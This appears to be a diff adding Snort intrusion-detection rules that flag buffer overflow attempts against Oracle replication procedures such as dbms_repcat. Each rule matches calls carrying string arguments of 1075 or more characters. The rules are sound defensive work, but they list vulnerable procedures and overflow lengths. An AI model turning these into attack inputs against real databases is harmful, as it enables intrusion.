+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.create_mview_repobject buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.create_mview_repobject"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname|type|gname|gowner)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname|type|gname|gowner)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){7}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){2}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){5}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2850; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.drop_site_priority_site buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.drop_site_priority_site"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2779; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.alter_priority_nvarchar2 buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.alter_priority_nvarchar2"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2873; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.alter_site_priority buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.alter_site_priority"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2878; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.comment_on_column_group buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.comment_on_column_group"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2748; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.add_priority_number buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.add_priority_number"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2862; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.comment_on_update_resolution buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.comment_on_update_resolution"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2884; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_rectifier_diff.differences buffer overflow attempt"; flow:to_server,established; content:"dbms_rectifier_diff.differences"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(missing_rows_oname1|missing_rows_oname2)[\r\n\s]*=>[\r\n\s]*\2|(missing_rows_oname1|missing_rows_oname2)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){9}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){10}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2717; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.comment_on_update_resolution buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.comment_on_update_resolution"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2756; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_sna.create_snapshot_repobject buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_sna.create_snapshot_repobject"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname|type|gname|gowner)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname|type|gname|gowner)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){7}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){2}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){5}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2904; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_fla.validate_for_local_flavor buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_fla.validate_for_local_flavor"; nocase; pcre:"/(\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){2}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2826; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_offline_og.begin_instantiation buffer overflow attempt"; flow:to_server,established; content:"dbms_offline_og.begin_instantiation"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2709; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_sna.repcat_import_check buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_sna.repcat_import_check"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(gname|gowner)[\r\n\s]*=>[\r\n\s]*\2|(gname|gowner)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){2}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2913; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.drop_priority_varchar2 buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.drop_priority_varchar2"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2895; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.drop_update_resolution buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.drop_update_resolution"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2784; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat_auth.revoke_surrogate_repcat buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat_auth.revoke_surrogate_repcat"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*userid[\r\n\s]*=>[\r\n\s]*\2|userid\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2746; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.comment_on_delete_resolution buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.comment_on_delete_resolution"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2749; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.alter_site_priority_site buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.alter_site_priority_site"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2743; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.relocate_masterdef buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.relocate_masterdef"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2799; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.add_update_resolution buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.add_update_resolution"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2868; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.validate_flavor_definition buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.validate_flavor_definition"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2811; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.drop_update_resolution buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.drop_update_resolution"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2899; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.add_object_to_flavor buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.add_object_to_flavor"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2722; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_mas.comment_on_repobject buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_mas.comment_on_repobject"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*type[\r\n\s]*=>[\r\n\s]*\2|type\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){2}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2829; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_sna.alter_snapshot_propagation buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_sna.alter_snapshot_propagation"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(gname|gowner)[\r\n\s]*=>[\r\n\s]*\2|(gname|gowner)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){3}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2902; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_sna_utl.refresh_snapshot_repgroup buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_sna_utl.refresh_snapshot_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(gname|gowner)[\r\n\s]*=>[\r\n\s]*\2|(gname|gowner)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2844; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.add_priority_number buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.add_priority_number"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2726; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_mas.do_deferred_repcat_admin buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_mas.do_deferred_repcat_admin"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2832; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_sna.validate_for_local_flavor buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_sna.validate_for_local_flavor"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(gname|gowner)[\r\n\s]*=>[\r\n\s]*\2|(gname|gowner)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){2}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2918; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat_rgt.drop_site_instantiation buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat_rgt.drop_site_instantiation"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(refresh_template_name|user_name)[\r\n\s]*=>[\r\n\s]*\2|(refresh_template_name|user_name)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2803; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.alter_priority buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.alter_priority"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2875; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.unregister_snapshot_repgroup buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.unregister_snapshot_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2810; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.drop_snapshot_repgroup buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.drop_snapshot_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2781; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.define_column_group buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.define_column_group"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2760; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.comment_on_priority_group buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.comment_on_priority_group"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2881; rev:1;)
